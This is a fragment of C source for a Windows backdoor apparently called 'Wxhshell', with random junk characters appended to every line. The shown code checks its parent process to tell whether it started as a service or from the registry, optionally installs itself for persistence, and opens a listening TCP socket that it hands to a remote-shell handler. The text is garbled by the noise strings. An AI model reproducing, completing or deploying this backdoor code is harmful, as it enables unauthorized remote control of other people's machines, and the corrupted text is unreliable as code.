} PROCESS_BASIC_INFORMATION; t1)~J
?Q< o-o;B
PROCNTQSIP NtQueryInformationProcess; r#K;@wu2
D&xbtJd
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0wzq{~\{=_
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; S'I{'jP5
<V3N!H_d
HANDLE hProcess; Z]I[?$y
PROCESS_BASIC_INFORMATION pbi; jZm57{C#*?
}a(x
L'F
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Y2DR
oQ
if(NULL == hInst ) return 0; 2#n4t2p
\gh`PS-B
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %EZG2J jO)
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?]fd g;?@
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !~{AF|2f
.Jt&6N
if (!NtQueryInformationProcess) return 0; dJh T}"x
WheJ 7~
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); b ;Vy=f
if(!hProcess) return 0; $?l?
sW":~=H
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; O MEPF2:
H-Uy~Ry*T
CloseHandle(hProcess); WH.5vrY Z
M~/%V NX
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); p2|BbC\N
if(hProcess==NULL) return 0; EH'?wh|Yp
"e4hPY#
HMODULE hMod; %}U-g"I
char procName[255]; {=AK|
unsigned long cbNeeded; iB Ld*B|#K
GRanR'xG
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); J^@0Ff;=5^
EV:y}
CloseHandle(hProcess); U20G{%%
$lj1924?^
if(strstr(procName,"services")) return 1; // 以服务启动 u3 mTsq!
o9!DK
return 0; // 注册表启动 UQwLAXs
} vG'JMzAm
g+ik`q(ge
// 主模块 y[*Bw)F\N
int StartWxhshell(LPSTR lpCmdLine) !O=J8;oLk
{ Wmp,,H
SOCKET wsl; FDB^JH9d
BOOL val=TRUE; 5Pis0fa
int port=0; H1PW/AW
struct sockaddr_in door; Z6}B}5@y
$Nr :YI
if(wscfg.ws_autoins) Install(); ~;Ga65_6_
! K~PH
port=atoi(lpCmdLine); "YlN_U
U@<>2
if(port<=0) port=wscfg.ws_port; Ix,`lFbH
"}i\"x;s
WSADATA data; 8J:6uO
c|
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %Dg]n4f
#Nt?4T<
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; C:n55BE9
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); vjI>TIy
door.sin_family = AF_INET; Vwp fkD`
door.sin_addr.s_addr = inet_addr("127.0.0.1"); [@OXvdTV
door.sin_port = htons(port); (hefpqpi
%@Nuzdp
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `Jh> 1l
closesocket(wsl); 6]dK,
return 1; 8X`Gm!)
} Gw6*0&3')
u4L&8@
if(listen(wsl,2) == INVALID_SOCKET) { +_gPZFpbx
closesocket(wsl); n&x#_B-
return 1; 5N(/K. ^
} 3QDz0ct
Wxhshell(wsl); -Cxk#-sb#
WSACleanup(); y< hIXC
zrjqB3R4@O
return 0; !<